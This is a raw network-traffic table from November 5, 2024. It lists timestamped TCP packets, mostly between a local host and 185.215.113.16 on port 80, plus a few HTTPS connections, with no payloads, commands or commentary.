Nov 5, 2024 10:13:13.697956085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.713768959 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:13.739867926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.739931107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.739960909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.739974976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.740015030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.740029097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.740041971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.740149021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.743493080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.743606091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.743654013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.814507961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.814693928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.814706087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.814716101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.814790010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.814790010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.815299034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.815347910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.815359116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.815412045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.815423965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.815442085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.815494061 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.858720064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.858731985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.858742952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.858752966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.858783007 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.858880043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.861164093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.861171961 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.861179113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.861183882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.861265898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.902749062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.933892965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.933904886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.933916092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.933931112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.933943033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.933976889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.934046984 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.934233904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.934247017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.934309959 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.934396029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.934406996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.934418917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.934448004 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.934494972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.973452091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.973463058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.973478079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.973558903 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.976865053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.976914883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.976923943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.976955891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.977011919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.977123022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:13.977144003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.977209091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:13.977467060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.048182011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048202038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048271894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.048280954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048294067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048305035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048468113 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.048491955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048552990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.048635960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048681974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048691988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.048736095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.049084902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.049102068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.049232960 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.090167999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.090178013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.090241909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.093801022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.093841076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.093852043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.093928099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.093991995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.094002008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.094139099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.094175100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.094312906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.094775915 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.165029049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165040970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165060043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165070057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165081978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165083885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.165112019 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.165442944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165453911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165463924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165623903 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.165818930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165833950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165844917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.165955067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.209058046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.209145069 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.209393978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.211090088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.211108923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.211119890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.211165905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.211184978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.211184978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.258012056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.258023977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.258033991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.258152962 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.258152962 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.272305012 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:14.272321939 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:14.272598028 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:14.272658110 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:14.272661924 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:14.282169104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282180071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282191992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282202959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282213926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282217979 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.282279968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.282377005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282387972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282397985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282413960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282423973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.282442093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.282453060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.282608032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.327806950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.327827930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.327850103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.327862024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.327873945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.327900887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.328145981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.372786045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.372797012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.372807026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.372855902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.398969889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399022102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399033070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399070024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399079084 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.399086952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399142981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.399142981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.399349928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399389029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399406910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399420023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399430990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.399482965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.446564913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.446576118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.446585894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.446676016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.446700096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.446712017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.446799040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.447021008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.488568068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.488590002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.488603115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.488612890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.488639116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.488765001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.516025066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516036987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516047001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516057014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516136885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.516138077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.516180038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516242027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516254902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516272068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516282082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.516298056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.516370058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.517101049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.517684937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.563173056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563271999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563282013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563361883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563422918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563436985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.563457966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.565625906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.608894110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.608906984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.608992100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.609004021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.609014034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.610626936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.633105993 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633117914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633172989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633202076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.633235931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633255959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633264065 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.633268118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633413076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633414030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.633424044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.633460045 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.634150982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.634161949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.634171009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.634241104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.634241104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.680231094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680242062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680252075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680263042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680273056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680283070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.680375099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.680375099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.722383976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.722393990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.722404957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.722443104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.722454071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.722481012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.724637032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.749758959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.749777079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.749787092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.749984980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750016928 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.750061989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750153065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750174999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.750391960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750401974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750420094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750430107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750446081 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.750844002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750866890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750869036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.750880003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750890970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750901937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.750905991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.750926018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.752017021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.796703100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.796711922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.796751022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.796758890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.796782970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.796827078 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.796957970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.797008038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.797641039 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.839376926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.839412928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.839425087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.839473009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.839479923 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.839484930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.839528084 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.847692013 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:14.866772890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866784096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866795063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866832018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.866843939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.866851091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866863012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866873026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.866914988 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.867321014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867362976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867373943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867386103 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.867418051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.867714882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867763042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867815018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867826939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867837906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.867858887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.867883921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.868525028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.868583918 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.868639946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.868701935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.868747950 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.895338058 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:14.913688898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.913700104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.913710117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.913760900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.956398964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.956408024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.956419945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.956429958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.956440926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.956459045 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.956490040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.984539032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984637022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984647036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984658003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984667063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984677076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984704971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.984743118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.984812021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984829903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984842062 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.984883070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.985122919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985191107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985227108 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.985241890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985280037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:14.985322952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:14.985333920 CET	80	49712	185.215.113.16	192.168.2.5
